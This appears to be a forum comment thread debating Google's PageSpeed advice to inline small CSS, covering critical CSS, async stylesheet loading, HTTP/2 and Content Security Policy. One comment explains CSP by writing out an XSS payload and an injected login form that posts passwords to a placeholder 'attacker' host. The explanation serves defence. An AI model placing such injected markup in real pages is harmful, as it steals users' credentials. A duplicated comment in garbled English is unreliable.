11 ms·
Google recommends inlining small CSS
- oliwarner 11y ago> If the external CSS resources are small It's not a general rule, it's just suggesting that your 50 character block of CSS (that might be dynamic or conditional) would be better off as part of the main markup than a separate request and all the overhead associated with that. If your static CSS exists in lots of small files, you would strongly benefit from rolling them together. Both these recommendations may change with new delivery models (ie HTTP2).
- fabrigm 11y agoIndeed, just logic
- _alexander_ 11y agoInteresting research about http2 - http://engineering.khanacademy.org/posts/js-packaging-http2.htm http://engineering.khanacademy.org/posts/js-packaging-http2....
- mattmanser 11y agoAlthough they seem to be saying that something is wrong with google app engine rather than http/2.
- blowski 11y agoThis makes perfect sense for classes like ".article51_footer_wrapper_margin50", look up the rule, and sure enough it looks like `.article51_footer_wrapper_margin50 { margin-bottom: 50px; }` Seriously, just inline rules like that. If it is only applied in one specific place across the entire site either because it cannot or does not need to be made more general, then inlining it is easier to maintain and understand.
- deleted 11y ago[deleted]
- rimantas 11y agoExcept that class does not make sense. What happens when design changes and margin is now 40px?
- fhd2 11y agoNote that TFA is about using a style tag rather than a separate CSS file. It actually discourages the style attribute.
- oneeyedpigeon 11y agoBut TFA justifies avoiding the attribute because it "often leads to unnecessary code duplication" which is irrelevant "if it is only applied in one specific place across the entire site". It also mentions CSP as a reason to avoid the style attribute; can anyone explain what this means? Is this actually going to have a practical effect, and what does an inline style attribute have to do with security policy?
- ars 11y agoNote they mean inlining the css rules in a <style> block. Not inlining the css as the style attribute of a tag. The goal is not to have to fetch a second css page.
- jholman 11y agoThat is not the goal. Read TFA; their example specifically still loads small.css by dynamically creating a <link> element after pageload (in a RequestAnimationFrame or onLoad). The goal is to have the CSS already present when the "above-the-fold" content renders, so that it's that much faster to render correctly, improving user experience.
- jsvaughan 11y agoif you use the google pagespeed apache/nginx module it has an inline_css filter which does this for you, no need to cause yourself a maintenance problem.
- mozumder 11y agoIf you have single-page web apps, you might as well inline your entire site's CSS, since it's never going to look for the CSS again.
- majewsky 11y agoNot necessarily. If the app changes seldomly, you could reuse a CSS file across multiple sessions, whereas the HTML (i.e. "GET /") is probably always served up fresh. That does not apply, of course, if your initial HTML page is a static asset, too.
- te_chris 11y agoThis is basically what webpack's css-loader does.
- YngwieMalware 11y agoI would probably want to fight you after reading this code.
- exodust 11y agoI did that for a single page web app once, but I took it a step further and inlined the JS too. I was surprised how much I enjoyed developing that way, and how much it didn't bother me. I kept libraries such as Jquery separate. Just the code I was editing I kept all inline in one large HTML file. The self-contained simplicity was appealing, the only hurdle was navigating a large file in my editor. But there's ways to manage that with bookmarks and neatly organised sections and so on. I liked how the smallest component of the app, was the app itself. I see HTML, CSS and JS working together as one unit anyway in a single-pager, so I wanted them living and versioned together. On this particular app, I had lots of dynamic elements updating around and lots of exploring new concepts. Wanted to avoid dependency fragmentation headaches. And to be honest, switching between frontend files can be annoying (to me) when I'm doing lots of tinkering. I'd rather switch between locations in the same file.
- PavlovsCat 11y agoAre there any findings about whether such godawful class names affect rendering performance? I mean just matching strings such as this one: com-google-api-explorer-client-history-EmbeddedHistoryItemView_HistoryItemUiBinderImpl_GenCss_style-showHideHeaders It's generally really hard for me to take HTML advice from google seriously, their page sources at best look mediocre, and at worst they make my eyes bleed. How can code so complicated lead to such bland looking pages? I know I'm kind of being snarky, but I can't help it. Just look at the source of that page and the linked stylesheets, look at google.com, heck, if you can find me just one elegant page I'll be grateful, because to this day I haven't seen a single one.
- sanxiyn 11y agoClass names are interned (see https://en.wikipedia.org/wiki/String_interning https://en.wikipedia.org/wiki/String_interning), so string length does not affect rendering performance.
- laurent123456 11y agoAlso, since they are talking about optimization, I wonder why they make embedded fonts a requirement to view their plain-text page. I disable loading of fonts because it's useless and often slows everything down, and this is how their page look without these fonts: http://i.imgur.com/oDO8gRt.png http://i.imgur.com/oDO8gRt.png
- seanwilson 11y agoI imagine the vast majority of web users have font loading enabled so they optimised and tested for that.
- oneeyedpigeon 11y agoSo, ... screw the minority? Seriously, one of the benefits of the web stack is that it makes it very easy to cater for a wide variety of capabilities, rather than resorting to "Best viewed with Internet Explorer 5"-type behaviour.
- 3princip 11y agoWhich mandates 'unsafe-inline' if you're using a content security policy (CSP). >Banning inline script is the biggest security win CSP provides, and banning inline style likewise hardens your application.[1] So which is it? Should we be moving away from inline scripts and CSS, and tightening it up with CSP, or is performance/fewer requests more desirable? Also, with HTTP2, the performance issue seems moot. [1]http://www.html5rocks.com/en/tutorials/security/content-security-policy/ http://www.html5rocks.com/en/tutorials/security/content-secu...
- fkooman 11y agoI love how they, in that example, use JS to load the rest of the CSS. Seriously?
- theinternetman 11y ago"Too many devs spoiling the broth" in a nutshell. Over-engineered absurdity
- bigethan 11y agoSeriously. CSS loading/parsing is render blocking. By loading CSS that isn't needed immediately asynchronously in a way that will use the browser cache if it's available, it makes the page visible much faster. It feels like overkill in the simple example, but it's a tried and true method. ( https://github.com/filamentgroup/loadCSS https://github.com/filamentgroup/loadCSS has > 2k stars if that kinda thing means anything) From my experience on a large website (m.trulia.com), On a 3G connection with an 'average' (nexus 5) phone, this technique made almost a 2 second difference in perceived load time.
- fkooman 11y agoI guess it is time for this one again: http://idlewords.com/talks/website_obesity.htm http://idlewords.com/talks/website_obesity.htm if the CSS isn't needed immediately, simply don't load it :)
- freshyill 11y agoIn a few hours, I'm launching a very large website that relies heavily on LoadCSS(). Page load times have been excellent in the pre-public phase, even though our critical styles contain a mountain of Autoprefixer-generated flexbox prefixes. My understanding is that all of this will become an antipattern once we can support http/2. For today, however, it provides a very real performance boost.
- Flimm 11y agoMy understanding is that concatenation will be become an anti-pattern with http/2, but not `<script async..>`, `<script defer..>`, or loadCSS.
- NetStrikeForce 11y ago(Disclaimer: I'm not a coder, so I easily get overwhelmed by what others might see as very simple) It may be better for delivery, but the second example is unreadable compared to the clean one. I can see why it's much better to add 15KB to your HTML file than having to request those 15KB from a separate file (one or two full round-trips of added latency :)).
- bleachedsleet 11y agoWhile you're correct in observing that the first example is shorter and potentially easier to read at a glance, there is a method to the madness in the second. They inlined the CSS needed for content above the fold which speeds up load times theoretically. They then use JS to load the rest of the CSS later on so they can control exactly when the stylesheet is loaded...just linking like one would normally do would negate the perceived benefit. The end result should be comparable overall load times but the end user should perceive a slight decrease since important information is styled immediately. So yeah, the second is a little more confusing and in this case is drastic overkill, but their point still stands.
- drinchev 11y agoI think this Google rule is too specific and in the same time too general for being alive. The whole idea : > Inline small CSS. is too specific. I think when you work on a huge web-application you don't want to create such a bloat in your layouts and personally I don't think that this approach scales. On the other hand if you go with a simple web page, like a landing page with a couple of elements ... go for it. > If the external CSS resources are small What is "too small" anyway ? ( too general )
- jlebrech 11y agois there a tool that'll find all the style attributes and compile those into a css file?
- eCa 11y ago<script> var cb = function() { var l = document.createElement('link'); l.rel = 'stylesheet'; l.href = 'small.css'; var h = document.getElementsByTagName('head')[0]; h.parentNode.insertBefore(l, h); }; var raf = requestAnimationFrame || mozRequestAnimationFrame || webkitRequestAnimationFrame || msRequestAnimationFrame; if (raf) raf(cb); else window.addEventListener('load', cb); </script> Seems like it's time for a defer attribute on <link>.
- sametmax 11y agoOr, you know, put it at the bottom of the HTML since it will take 5ms between the moment where the browser receive <html> and </htm>
- acjohnson55 11y agoIt may take a lot longer than that, since the browser is parsing as it goes. A SCRIPT tag in the HEAD will run synchronously, blocking parsing of the page and delaying initial render. For a tiny script that defers work, this is not a problem. But you want to schedule the stylesheet to load ASAP, in case it is cached, so it's actually potentially a human-noticeable difference to get that function on the queue before the BODY begins parsing.
- bzbarsky 11y agoA <script> tag will block DOM tree construction and rendering in browsers but will not block scanning ahead for things to load (and at least in Firefox won't even block tokenization of the HTML). So if you have a <link rel="stylesheet"> at the end of <body> it will likely start loading even before the scripts before it have had a chance to load and run. A bigger problem is that in some browsers (not Firefox, but iirc yes Chrome) that stylesheet load will then itself block rendering.
- noumandeaf 11y agothe makes perfect same talk does need the is search hacker very like power you help me please i am nouman deaf
- noumandeaf 11y agothe makes perfect same talk does need the is search hacker very like power you help me please i am nouman deaf
- DanielBMarkham 11y agoOver time I've developed some opinions not shared by most. I only use a framework when under extreme duress. I use static pages wherever possible. I measure payload size. I'm also beginning to re-think CSS. I love CSS, but just like with OO, I'm thinking it may tempt us to think of structural considerations when we may just be wasting our time. I think the next app I write, I'm going to evolve my CSS, starting with inline styling, moving out to an inline style node in HEAD, then dynamically loading it from JS as in the Google example, and then finally using a class/series of classes. In much the same way, in FP you can just make it work, then generalize, then group, then eventually create modules/classes full of generalized functions. This way of thinking seems to result in far quicker execution and far less complexity. Not sure if it translates to CSS, though. It'll be interesting to try it out.
- deleted 11y ago[deleted]
- eric_bullington 11y ago> ...I'm going to evolve my CSS, starting with inline styling, moving out to an inline style node in HEAD, then dynamically loading it from JS as in the Google example, and then finally using a class/series of classes. I'm sure it will load spectacularly fast, but that sounds like a maintenance nightmare. I spent a lot of effort on my "brochure" sites making sure that non-JS users will have a good experience (that includes being able to navigate the site, a privilege an increasingly large number of sites don't extend to non-JS users)[1]. Loading even part of my CSS through JS would ruin that experience. 1. I do make web apps that require JS, but only for actual applications that work in a similar manner to desktop apps, not for informational sites like blogs.
- DanielBMarkham 11y agoYes, that's the standard answer: good structure costs very little now but pays off greatly in maintenance and upkeep. And I believe it -- up until a point. After that point, too much structure becomes its own kind of hindrance, where you're looking at a UI and wondering "What the hell cascades do I have going on here to make that two pixels too far to the right?" (Or something like that) So I don't think we disagree. The only thing I'm adding is that to determine the right amount of structure, add it in only as needed. So I imagine by the time you got to a multi-page site you'd be using external stylesheets and common classes. You just wouldn't start there. Sure do like me some Bootstrap, though. And a good reset sheet is a no-brainer. Need to think about this some more. I think the key question is: how much of this do you really need? For instance, right now I'm writing a small personal app to take a movie script in native file format and display it as a web page. Where did I start? With the function to do the translation, of course. Now that it's working, I can always manually execute it if I need to. I may just stop here. I've done enough. If I really, really want something I can upload scripts to online, I'll write a page. Or two. Then I'll throw my uploaded file at my pre-existing function, return the file name, and I'm done. I may have spent 10 hours on this so far. By contrast, the "old" way of doing it was to start with setting up a site using all sorts of frameworks. Maybe decide on a color scheme. On the back-end side, I'd be creating a class graph and working through my persistence strategy. Maybe I could use Mongo! Wouldn't Ruby be awesome? I tend to easily get focused on tooling and technique instead of just doing the fucking work. (Apologies for the profanity, but this took me a long time to figure out). So I've discovered for my own work, I need to concentrate on making sure I grow only the needed complexity. Nothing more. Way too easy for me to screw up in this area. In the case of my little app, sure, I could start adding frameworks. Or I could just emit some HTML. Who knows? Maybe plain HTML with a few classes and some style information in the HEAD might be fine. That's a win.
- yoz-y 11y agoI do not understand this particular example. They replace 4 lines of external CSS + 1 line of loading by 1 line of internal CSS + 2 lines of tags + 11 lines of JavaScript which then asynchronously loads 3 lines of CSS. So we went from a blocking call and 5 lines of code to 17 lines and an async call. How is this in any way better than simply cramming the 4 lines of CSS internally? Maintenance will not be simpler because you will still probably have several rules to maintain over several files (and the inlining can be automated). This seems like horrible over-engineered advice _especially_ for small CSS files.
- Klathmon 11y agoBecause small doesn't mean 4 lines, they just used 4 lines for the example. Think of this like a "Hello World" for inlining CSS.
- yoz-y 11y agoIn that case (as others have stated) they should really precise what do they mean by small. I am convinced that a single network call (preceded by JavaScript overhead) dwarfs any reasonable amount of CSS code you could put in a single HTML file.
- vec 11y agoIt will, but it's still a net win because Google's not actually optimizing for time to load. They're optimizing for time to usability. Moving all of the non-essential CSS out of the head and into a post-load request increases the total request time but decreases the time until the user can begin interacting with the page. It's still drastic overkill for almost everyone except Google, but it does make sense for their use case.
- lost_name 11y agoThe article is about optimizing the delivery of the CSS content, not about making it clear or concise or anything else. So, the point of the example then is to optimize for the content that is delivered directly on the page. Note that the only style used in the page is '.blue' which is the only style left in the header (they additionally specify that you should do this for content above the fold). The javascript will fetch the rest of the style after the page has finished loading. By loading only the immediately rendered styles, the entire page content finishes loading then the remaining styles are loaded. This is opposed to loading all of the styles, followed by the page content. Of course, when we're talking about a page that is around 1k in size either way it's not particular important.
- andrewingram 11y agoThe problem i've always had with this, and the "above the fold" rule as it appears in the pagespeed insights tool, is the definition of "fold" varies wildly. So I see CSS optimisation as a multi-step process. * Switch to a component-based rendering architecture (I favour React) * Map CSS rules directly to components (I use CSS Modules) * Have a JavaScript entry-point per route. The entry-point should only contain what's needed for that route, common bundles can be used too (I use webpack for this). * Have equivalent CSS entry points per route (again, Webpack). * On initial (ie server) render, render a style tag into the document that contains the content of the relevant entry CSS. By definition this is very close to being only the CSS required for that page (if your components have various different classes depending on config, there may be some bloat here, not sure if there's a workaround). * On that same render, don't include an external reference to the actual stylesheets. (At this point we're mimicking Google's advice) * On first client-side navigation (yeah, i'm assuming you're using client-side routing), load the required stylesheets for the destination URL, remove the style tag, then continue the navigation. I'm actually excited, because in the React ecosystem, we're not too far removed from this entire process being relatively trivial to implement. I'm assuming other ecosystems are similar.
- danjordan 11y agoDoes this have any negative effects on browser caching?
- andrewingram 11y agoThe only part of the process that's a bit weird is loading style sheets programmatically. But I think people normally do that by adding a link tag to the DOM, so it should use browser caching as usual. The other caveat is that the nature of generating common bundles automatically means that what's in those bundles will vary whenever the code is changed. This means that you'll lose the benefits of browser caching each time you release. If you have dependencies that you can guarantee will be in the common bundle (like it's safe to say React will always be in it, along with any other architectural libraries), then you're better off externalising them to somewhere that sticks around between releases (and therefore benefits more from browser caching). This will also make your common bundles much smaller.
- pkorzeniewski 11y agoI remember a CSS class in some enterprise software I was working on several years ago: /* bold */ .bold { font-weight: bold !important; } It has became my favourite real-world example of CSS misusage :)
- jdudek 11y agoOne can argue if it’s a misuse or not. It’s quite handy to have such utility classes that rely on !important and can be used in markup directly. I have plenty of those in my stylesheets. [1] http://davidtheclark.com/on-utility-classes/ http://davidtheclark.com/on-utility-classes/
- jqm 11y agoLike your article. Especially agree with this phrase "authoring and maintenance considerations should trump kilobyte savings" (within boundaries of course).
- thirdsun 11y agoI agree with jdudek here. While I'd never use important, I usually have a lot of small utility classes like bold, italics, uppercase, truncated etc. I don't see what's wrong here - they come in handy when you need a one-time style alteration.
- robmcm 11y agoThe intentions are baked into your class name, if you were to change the style later and favor underlining rather than bold text, it would require a change to the HTML (or some rather misleading code). The same could be said for a mobile device, where italic could be hard to read, so, say a different font is used. Again this would require changes to the HTML and breaks the separation of style from markup. It doesn't particularly offend me, but I though it would be worth pointing out why some people disagree with this style of class naming.
- moron4hire 11y ago
- losvedir 11y agoInteresting. The sample code includes this bit: var raf = requestAnimationFrame || mozRequestAnimationFrame || webkitRequestAnimationFrame || msRequestAnimationFrame; if (raf) raf(cb); else window.addEventListener('load', cb); I've never thought to use requestAnimationFrame like that. When exactly does it fire? Is that the preferred callback these days for loading code after the page is "done" in some fashion? I've gotten used to using jQuery's `$(document).ready(..)` which as far as I know uses DOMContentLoaded or window.onload behind the scenes. When does the first animation frame happen in relation to those callbacks?
- chriswarbo 11y ago> I've gotten used to using jQuery's `$(document).ready(..)` FYI `$(document).ready(foo)` is the same as `$(foo)` https://api.jquery.com/jQuery/#jQuery3 https://api.jquery.com/jQuery/#jQuery3
- FroshKiller 11y agoIn my experience--not that I'm a prolific JavaScript developer or anything--people tend to write out $(document).ready anyway because it makes their intent clearer. Personally, I have to do a little mental work every time I trip over the shortcut and prefer seeing $(document).ready.
- mattmanser 11y agoJavascript is the wild west of styles, this isn't valid advice. $(function() {}) is a well known shortcut for jQuery. You might as well argue about whether or not to use the ternary operator or whether bootstrap's javascript is good or bad. It's just your opinion. In these days King Canute could have used javascript styles instead of the sea.
- deadowl 11y agoWell, at least camel case is generally agreed upon. Meanwhile, I wonder if anyone anywhere takes advantage of the breadth of unicode support for variable names.
- LoSboccacc 11y agothat suggestion has been around for a while
- pauly 11y agoyeah this is not new was a recommendation from https://developers.google.com/speed/pagespeed/insights/ https://developers.google.com/speed/pagespeed/insights/ which I thought was now depracated, so must have been around for a while. I think it's a recommendation of http://yellowlab.tools/ http://yellowlab.tools/ too which is great.
- jdmarantz 11y agoPageSpeed Insights (the analysis tool) is not deprecated. The optimization modules, mod_pagespeed and ngx_pagespeed, are also not deprecated. What's deprecated is the hosted version of the optimization modules: PageSpeed Service: https://developers.google.com/speed/pagespeed/service/Deprecation?hl=en https://developers.google.com/speed/pagespeed/service/Deprec...
- Nutmog 11y agoWhatever happened to the programming rule of don't micro-optimize until you've measured the performance? There seems to be a lot of recommendations to do ugly things to websites in the name of optimization, but they still add complications that are hard to understand. Pictures used to by supposed to be optimized by pre-scaling them to the size they'd be displayed at. Now we have retina displays and that doesn't work anymore. You have to do more complicated things instead. HTML and co has become very low level-like and almost complex enough that perhaps humans shouldn't be doing it. It reminds me of the days of assembly language and all the ugly little tricks to squeeze out more clock cycles that are now handled by compilers.
- nostrademons 11y agoMost of these recommendations are based on measurements. I recall a coworker doing several experiments on Google Search about inlining CSS vs. making a separate request, and the break-even point was surprisingly high (~10K or so of CSS). Publishing recommendations like this is a recognition that many small companies don't have the resources that Google does to rigorously experiment with different approaches and collect data. That said, if you do have the resources, you should always measure & experiment with your own situation. Many of these recommendations go away with HTTP2, for example, and it's likely that the guidelines won't be updated until long after HTTP2 is widely adopted.
- frabcus 11y agoWe inline the front page CSS on https://pdftables.com/ https://pdftables.com/, both for user experience and for SEO reasons. The Node module UnCSS (https://github.com/giakki/uncss https://github.com/giakki/uncss) is working reliably for us, using PhantomJS to automatically extract the CSS rules we need for our front page. The full CSS rules are then loaded at the end of the page - just in case UnCSS missed a browser specific or Javascript triggered rule, and to get the files into the cache.
- aexaey 11y agoOffered example is missing this in the "you can inline" snippet: <head> <noscript> <link rel="stylesheet" href="small.css"> </noscript> </head> ..least whole point of this excercise is to make life a little bit more miserable for those pesky users who dare to disable js.
- ymse 11y agoFTA: Note that the web platform will soon support loading stylesheets in a non-render-blocking manner, without having to resort to using JavaScript, using HTML Imports. https://w3c.github.io/webcomponents/spec/imports/#link-type-import https://w3c.github.io/webcomponents/spec/imports/#link-type-... All is not lost, it seems.
- rudolf0 11y agoThis is like 15 years overdue.
- nvk 11y agoThis is rude, there are many reasons and needs for no JS. A good example is Tor, where turning off JS helps with privacy.
- brianzelip 11y agoI think grandparent is being sarcastic.
- radarsat1 11y agoThis is the part that surprised me, > Further, inline CSS on HTML elements is blocked by default with Content Security Policy (CSP). I'm probably not up to date on this stuff, since I am not a web dev, but does this mean it's actually not possible to use `style=""` in your HTML elements any more? I thought it was not recommended, but more for organizational reasons, not security reasons. What is the reason?
- adevine 11y agoOnly if you have specified Content-Security-Policy headers in your response, without also specifying "unsafe-inline": http://www.html5rocks.com/en/tutorials/security/content-security-policy/ http://www.html5rocks.com/en/tutorials/security/content-secu...
- yoklov 11y agoWhat potential security vulnerability do inline styles have?
- nisa 11y agoIf guess you could irritate users or trick them into clicking something they don't want if you are able to position elements on the site, maybe DoS the browser or fake the identity in a comment box. CSS is quite powerful.
- perlgeek 11y agoIf you have a cross-site scripting hole, an attacker could use inline CSS to create a smoother experience for the visitor.
- geofft 11y agoCSP is mainly a defense against arbitrary HTML getting injected into your website via poor validation, buggy scripts, etc. It's not a replacement for validation, but it's a failsafe when there's inevitably a bug. So the purpose of CSP is to block regular XSS like <script>alert("XSS!");</script>, and anything that works similarly. This isn't saying that inline script tags are a security vulnerability per se, just that they're a tool an attacker can use. CSP then also allows you to restrict <script src="..."> tags to trusted origins. The same argument applies for CSS. If an attacker manages to output arbitrary HTML on your web page via some bug, they can add their own login form with <div style="position: fixed; ..."><form action="https://attacker/"> https://attacker/"> and harvest passwords this way. So CSP blocks that too. Again, this isn't because writing a form that way is a security vulnerability, but because if you've opted into CSP, you're stating that you're not writing forms this way so that you can enable these XSS and clickjacking protections.
- cbr 11y agoYou can automate this with the prioritize_critical_css filter in the PageSpeed module: https://developers.google.com/speed/pagespeed/module/filter-prioritize-critical-css https://developers.google.com/speed/pagespeed/module/filter-... (Disclaimer: this is what I work on.)
- johnsbrayton 11y agoI agree that Google's recommendation here is a poor one in most cases. It would be better to do the following: 1. Have only one or two external CSS files per page. 2. Serve CSS compressed when possible. 3. Ensure that CSS does not require any server-side processing or compression, that the server just spits out a .css or .css.gz file when the CSS is requested. 4. Ensure that the CSS files are relatively small. 5. Serve the CSS files with a very long cache time and with a version/hash string in the object name. 6. If feasible, make CSS changes relatively relatively rare. If you do all of these things, adding the style into the web page will clutter your HTML and slow things down for frequent visitors. Yes, it might also increase perceived performance for some users who have not visited the site since the last change to the CSS.
- acdha 11y agoThe problem is basically telling whether your challenges are like Google's. An external link requires a separate request, possibly even separate DNS lookups, server connection, SSL negotiation, etc. and nothing will render until those complete. If you're Google with a strong culture of web performance and have generally solved all the normal server issues with a globally-distributed network of edge servers, a 24x7 team of very talented engineers continuously monitoring and optimizing, etc. you might quite reasonably conclude that the biggest remaining area to improve page performance is chipping away at the long tail of users on high-latency connections, unreliable / flaky ISPs which might drop or delay requests for your render-blocking resources, etc. The trick is realizing that relatively few people work at Google and most other places have not made the same investments to get to the point where this kind of micro-optimization is a net win versus the maintenance costs. Most sites tend to show easier problems - optimizing DNS, getting a CDN or using one better, reducing total transfer size, etc. – which are going to impact the user experience more than inlining some CSS. This is particularly true as we rapidly head into an area where things like HTTP/2 are changing most of our optimization weights – e.g. packing things into CSS bundles is rapidly becoming an anti-pattern since it reduces the period where a cached resource is still valid.
- johnsbrayton 11y agoYou're absolutely right. The guidelines I outlined don't work well if retrieving the CSS requires a subsequent DNS lookup. One could argue that serving CSS from the host that serves the HTML is a good idea, but there are other tradeoffs involved.
- jakobegger 11y agoSometimes I wonder, if you can make the content above the fold load instantly, why can't you do that for the whole page?
- andrewguenther 11y agoDepends how big the page is ;)
- theandrewbailey 11y agoI think that this is the wrong way for most websites to do CSS, as it contradicts both minimization+concatenation and HTTP2 best practices. If you have just one CSS file that's heavily cached and 100 KB (because you base64ed your webfonts to reduce request count), you should be fine. Just last night, I tested trying to separate out my fonts from my CSS. Google Pagespeed Insights still threw a fit over no async CSS, even though the CSS was 5 KB. FFS, Goog! I decided against that madness.
- Lanari 11y agoGoogle's point here is to load a header really fast, the user will get this feeling that some progress happened, JavaScript will load the rest of the CSS after, while the rest of the page is getting loaded/rendered... Still, I won't use their method.
- lewisl9029 11y agoThis is probably not a very good general recommendation, but inline CSS actually makes quite a bit of sense to me when using React/Redux. Style is generally heavily interconnected with app state in modern web apps, so why not take advantage of a sophisticated state management system like Redux to declaratively manage your styles along with your state rather than adding/removing class names at runtime imperatively? With React's implementation of inline-styles, you can treat your styles as just another piece of JS data in your state tree, and have the entire power of the JS language at your fingertips to compose/extend/manage them, including powerful functional transformations, a flexible and statically analyzable module system, and prototypical inheritance, if you're into that kind of thing. With this approach, you completely remove any need for preprocessors, get rid of a whole class of CSS limitations like the lack of a proper module system, and global scoping and the associated specificity issues, and your components become truly self-contained by default. That said, I don't have a lot of actual experience with this approach in practice, so I definitely could be missing some nuances and practical limitations. I'd love to hear some opinions/experiences regarding using inline styles in React/Redux.
- gotchange 11y agoCan I see please some examples of those JS-powered CSS components in the wild?
- MatthewPhillips 11y agoI hear this all the time but it's hard to giving up the C in CSS, cascading. With CSS you can define a style that applies to all buttons on the page. to replicate this with inline styles you have to do var styles = require("./styles/global"); // react stuff here var thisButton = Object.assign(styles.button, { custom: stuff }) And that's the absolute most simple case. Replicating even slightly more complex CSS concepts like :nth-child or descendant selectors must result in a lot of code.
- sp332 11y agoYou should see the examples on the page. It's more like <head> <style> .blue{color:blue;} </style> </head> The critical styles needed to style the above-the-fold content are inlined and applied to the document immediately. The full small.css is loaded after initial painting of the page. Its styles are applied to the page once it finishes loading, without blocking the initial render of the critical content. https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery#example https://developers.google.com/speed/docs/insights/OptimizeCS...
- m1117 11y agoSASS does it anyways
- bl4ckdu5t 11y agoI think this has been for a long time now and I expect to see everyone speak about how this is a bad recommendation. If the above-the-fold content can extracted with a gulp/grunt plugin and injected it gets even better. These are extreme measures needed for performance profits and anyone can choose to take them or simply ignore
- JoeSloth 11y agoI'd also like to throw this into the conversation: Inline styles also prevent the user from overriding styles with a custom style sheet (think color blind people). This isn't necessarily against ADA/508 compliance, but it should be taken into consideration.
- gotchange 11y agoImportant flagged CSS declarations trump those inline style ones anytime of the day. Also, limiting the options available to your end users without solid and good reasons is not a sound strategy as it may prove inconvenient for them and endanger the product's image.
- coverband 11y agoOK, so this part is new to me: Don't inline CSS attributes Inlining CSS attributes on HTML elements (e.g., <p style=...>) should be avoided where possible, as this often leads to unnecessary code duplication. Further, inline CSS on HTML elements is blocked by default with Content Security Policy (CSP). How effective is this, really? If I can inline a CSS class, then I can inject any style on any HTML element even if I can't inline an attribute. Am I missing something here?
- lutusp 11y agoTheir point seems to be that inlining a class name means the class will only be defined once, but the case of an inlined style means the style information must be duplicated for each appearance. The style approach hits all the bad buttons -- the load is larger and slower, and its execution is slowed compared to a single class definition that's referred to multiple times. Also, in the case of a defined class, you only need to change the class definition to change all the instances, rather than chasing down each explicit style instance. The reasoning is only valid if the defined style is used more than once. If the style is unique, the argument doesn't hold up.
- VOYD 11y ago#AlphaBetFail - teach people how to do it correctly, teach them not to hack stupid ass inline CSS styles from 1996.